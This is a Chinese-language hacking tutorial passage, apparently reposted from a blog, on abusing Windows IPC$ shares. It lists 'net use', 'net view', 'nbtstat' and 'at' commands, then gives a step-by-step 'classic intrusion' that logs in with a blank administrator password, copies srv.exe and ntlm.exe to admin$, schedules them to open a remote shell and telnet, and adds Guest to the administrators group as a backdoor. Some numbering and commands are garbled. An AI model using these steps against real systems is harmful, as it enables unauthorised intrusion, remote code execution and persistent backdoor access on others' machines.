1) 建立空连接:
net use \\IP\ipc$ ""/user:"" (一定要注意: 这一行命令中包含了 3 个空格)
2) 建立非空连接:
net use \\IP\ipc$ "密码" /user:"用户名" (同样有 3 个空格)
3) 映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的 c 盘映射为自己的 z 盘,其他盘类推)
如果已经和目标建立了 ipc$,则可以直接用 IP + 盘符 +$ 访问, 具体命令 net use z: \\IP\c$
4) 删除一个 ipc$ 连接
net use \\IP\ipc$ /del
5) 删除共享映射
net use c: /del 删除映射的 c 盘,其他盘类推
net use * /del 删除全部, 会有提示要求按 y 确认
3 查看远程主机的共享资源(但看不到默认共享)
net view \\IP
4 查看本地主机的共享资源(可以看到本地的默认共享)
net share
5 得到远程主机的用户名列表
nbtstat -A IP
6 得到本地主机的用户列表
net user
7 查看远程主机的当前时间
net time \\IP
8 显示本地主机当前服务
net start
9 启动 / 关闭本地服务
net start 服务名 /y
net stop 服务名 /y
10 映射远程共享:
net use z: \\IP\baby
此命令将共享名为 baby 的共享资源映射到 z 盘
11 删除共享映射
net use c: /del 删除映射的 c 盘,其他盘类推
net use * /del /y 删除全部
12 向远程主机复制文件
copy \ 路径 \ srv.exe \\IP \ 共享目录名,如:
copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方 c 盘内
13 远程添加计划任务
at \\ip 时间 程序名,如:
at \\127.0.0.0 11:00 love.exe
注意:时间尽量使用 24 小时制;在系统默认搜索路径(比如 system32/)下不用加路径,否则必须加全路径
14 开启远程主机的 telnet
这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:
1)目标开启了 ipc$ 共享
2)你要拥有管理员密码和帐号
3)目标开启 RemoteRegistry 服务,用户就该 ntlm 认证
4)对 WIN2K/XP 有效,NT 未经测试
命令格式:OpenTelnet.exe \\server account psw NTLM 认证方式 port
试例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90
15 激活用户 / 加入管理员组
16 关闭远程主机的 telnet
net uesr account /active:yes
net localgroup administrators account /add
同样需要一个小程序:ResumeTelnet.exe
命令格式:ResumeTelnet.exe \\server account psw
试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""
17 删除一个已建立的 ipc$ 连接
net use \\IP\ipc$ /del
九 经典入侵模式
这个入侵模式太经典了, 大部分 ipc 教程都有介绍, 我也就拿过来引用了, 在此感谢原创作者!(不知道是哪位前辈)
1. C:\>net use \\127.0.0.1\IPC$ ""/user:"admintitrators"
这是用《流光》扫到的用户名是 administrators,密码为 "空" 的 IP 地址 (空口令? 哇, 运气好到家了),如果是打算攻击的话,就可以用这样的命令来与 127.0.0.1 建立一个连接,因为密码为 "空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入 administrators,命令即可成功完成.
复制之前务必用 net view \\IP 这个命令看一下对方的共享情况
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制 srv.exe 上去,在流光的 Tools 目录下就有(这里的 $ 是指 admin 用户的 c:\winnt\system32\,大家还可以使用 c$,d$,意思是 C 盘与 D 盘,这看你要复制到什么地方去了).
3. C:\>net time \\127.0.0.1
查查时间,发现 127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成.
4. C:\>at \\127.0.0.1 11:05 srv.exe
用 at 命令启动 srv.exe 吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果 127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令.
6. C:\>telnet 127.0.0.1 99
这里会用到 Telnet 命令吧,注意端口是 99.Telnet 默认的是 23 端口,但是我们使用的是 SRV 在对方计算机中为我们建立一个 99 端口的 Shell.
虽然我们可以 Telnet 上去了,但是 SRV 是一次性的,下次登录还要再激活!所以我们打算建立一个 Telnet 服务!这就要用到 ntlm 了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用 Copy 命令把 ntlm.exe 上传到主机上(ntlm.exe 也是在《流光》的 Tools 目录中).
8. C:\WINNT\system32>ntlm
输入 ntlm 启动(这里的 C:\WINNT\system32 > 指的是对方计算机,运行 ntlm 其实是让这个程序在对方计算机上运行).当出现 "DONE" 的时候,就说明已经启动正常.然后使用 "net start telnet" 来开启 Telnet 服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在 DOS 上操作一样简单!(然后你想做什么? 想做什么就做什么吧, 哈哈)
为了以防万一, 我们再把 guest 激活加到管理组
10. C:\>net user guest /active:yes
将对方的 Guest 用户激活
11. C:\>net user guest 1234
将 Guest 的密码改为 1234, 或者你要设定的密码
12. C:\>net localgroup administrators guest /add
将 Guest 变为 Administrator^_^(如果管理员密码更改,guest 帐号没改变的话,下次我们可以用 guest 再次访问这台计算机)
另外, 你也可以根据返回的错误号分析原因:
错误号 5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
错误号 51,Windows 无法找到网络路径:网络有问题;
错误号 53,找不到网络路径:ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤);
错误号 67,找不到网络名:你的 lanmanworkstation 服务未启动或者目标删除了 ipc$;
错误号 1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$,请删除再连;
错误号 1326,未知的用户名或错误密码:原因很明显了;
错误号 1792,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动;
错误号 2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码
来源: http://www.bubuko.com/infodetail-2455092.html